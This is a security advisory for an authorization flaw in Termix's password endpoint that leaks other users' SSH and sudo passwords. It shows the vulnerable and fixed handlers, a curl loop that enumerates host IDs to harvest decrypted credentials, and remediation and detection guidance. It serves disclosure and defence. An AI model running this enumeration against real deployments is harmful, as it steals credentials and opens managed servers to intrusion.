Executive Summary
A critical Insecure Direct Object Reference (IDOR) vulnerability (CVE-2026-53548) in Termix allows any authenticated user to retrieve the decrypted SSH passwords and sudo passwords for any host stored on the instance — regardless of who enrolled the host. Rated CVSS 9.6 (Critical), the flaw is in the GET /host/db/host/:id/password endpoint in src/backend/database/routes/host.ts, which accepts a numeric host ID from any authenticated user and returns the decrypted credential without verifying ownership. By iterating sequential host IDs, an attacker can harvest every SSH credential stored across all users on a shared Termix deployment. All versions prior to 2.6.1 are affected.
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-53548 |
| CVSS Score | 9.6 (Critical) |
| Attack Vector | Network |
| Privileges Required | Low (any authenticated user) |
| User Interaction | None |
| Scope | Changed |
| Confidentiality / Integrity / Availability | High / High / High |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key (BOLA/IDOR) |
| Fixed In | Termix 2.6.1 |
Technical Analysis
The GET /host/db/host/:id/password endpoint in host.ts accepts an arbitrary numeric host id path parameter and an optional field query parameter (password or sudoPassword). The endpoint authenticates the request (requires a valid session token) but performs no ownership verification — it looks up the host by the supplied ID and returns the decrypted credential regardless of which user owns the record.
Vulnerable Handler
// VULNERABLE — authenticates user but does NOT check ownership
router.get('/host/db/host/:id/password', authenticate, async (req, res) => {
const { id } = req.params;
const { field } = req.query; // "password" or "sudoPassword"
const host = await db.hosts.findUnique({ where: { id: Number(id) } });
// Missing: if (host.ownerId !== req.user.id) return res.status(403).json({...})
const decrypted = await decrypt(host[field], host.owner.encryptionKey);
return res.json({ [field]: decrypted });
});Exploitation
The attack is trivially simple: iterate integer host IDs from 1 upward and collect every returned credential.
# Harvest all stored SSH passwords with sequential ID enumeration
for i in $(seq 1 500); do
curl -s -H "Authorization: Bearer $ATTACKER_TOKEN" \
"https://termix.example.com/host/db/host/$i/password?field=password" \
>> harvested_credentials.json
curl -s -H "Authorization: Bearer $ATTACKER_TOKEN" \
"https://termix.example.com/host/db/host/$i/password?field=sudoPassword" \
>> harvested_credentials.json
doneThe attack requires only a valid low-privilege session token. No brute force of passwords is involved — the server decrypts and returns them in plaintext.
Affected Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| Termix | < 2.6.1 | 2.6.1 |
Attack Flow
1. Attacker obtains any valid Termix session token (own account or phished)
2. Sends GET /host/db/host/1/password?field=password with Authorization header
3. Server returns decrypted SSH password for host ID 1 (any user's host)
4. Attacker iterates IDs 2, 3, 4... collecting credentials for all enrolled hosts
5. Repeats with field=sudoPassword to collect root/sudo credentials
6. Uses harvested credentials to authenticate directly to victim servers via SSH
7. Full access to all managed infrastructure — no password cracking requiredImpact
| Impact Category | Description |
|---|---|
| Full Credential Exfiltration | Every stored SSH and sudo password returned in plaintext |
| Instance-Wide Compromise | One low-privilege account exposes all hosts across all users |
| Direct Infrastructure Access | Attacker uses harvested credentials to SSH directly to managed servers |
| Sudo / Root Access | sudoPassword field returns root credentials for configured hosts |
| Lateral Movement | Pivoting to all managed infrastructure from one API call loop |
Remediation
Immediate Action: Upgrade to Termix 2.6.1
# Docker users
docker pull termix/termix:2.6.1
# Node.js direct install
npm install termix@2.6.1The fix adds an ownership check before returning any credential. The corrected handler:
// Fixed — ownership verified before credential decryption
router.get('/host/db/host/:id/password', authenticate, async (req, res) => {
const { id } = req.params;
const { field } = req.query;
const host = await db.hosts.findUnique({ where: { id: Number(id) } });
// Ownership check — reject if requesting user is not the host owner
if (!host || host.ownerId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
const decrypted = await decrypt(host[field], host.owner.encryptionKey);
return res.json({ [field]: decrypted });
});The fix also warrants an audit of all other database route handlers for the same missing ownership assertion pattern — the same mistake could recur at other endpoints.
If Immediate Patching Is Not Possible
- Deploy a WAF rule to block requests to
/host/db/host/*/passwordfrom users other than the host owner (requires WAF with session-awareness) - Restrict Termix to single-user deployments — IDOR only provides cross-user access; single-user instances are not vulnerable to the cross-user aspect
- Rotate all stored SSH credentials immediately if shared-instance use is suspected
- Audit access logs for sequential requests to
/host/db/host/*/passwordindicating active enumeration
Detection
| Indicator | Description |
|---|---|
Sequential GET requests to /host/db/host/*/password | Active enumeration of all host credentials |
| Password endpoint requests for host IDs not owned by the requesting user | Direct exploitation |
| Unusual SSH logins to managed servers from unexpected IPs | Credential use post-exfiltration |
High volume of /password endpoint requests in short time windows | Automated scraping |
Post-Remediation Steps
- Upgrade Termix to 2.6.1 immediately
- Audit all HTTP access logs for exploitation: look for sequential
GET /host/db/host/*/passwordrequests - Rotate all SSH credentials stored in Termix — assume they are compromised on any shared instance
- Change sudo passwords on all managed hosts
- Review SSH authentication logs on managed servers for unauthorized access
- Revoke any active Termix sessions and require all users to re-authenticate
- Implement network monitoring to detect unusual SSH connections to managed infrastructure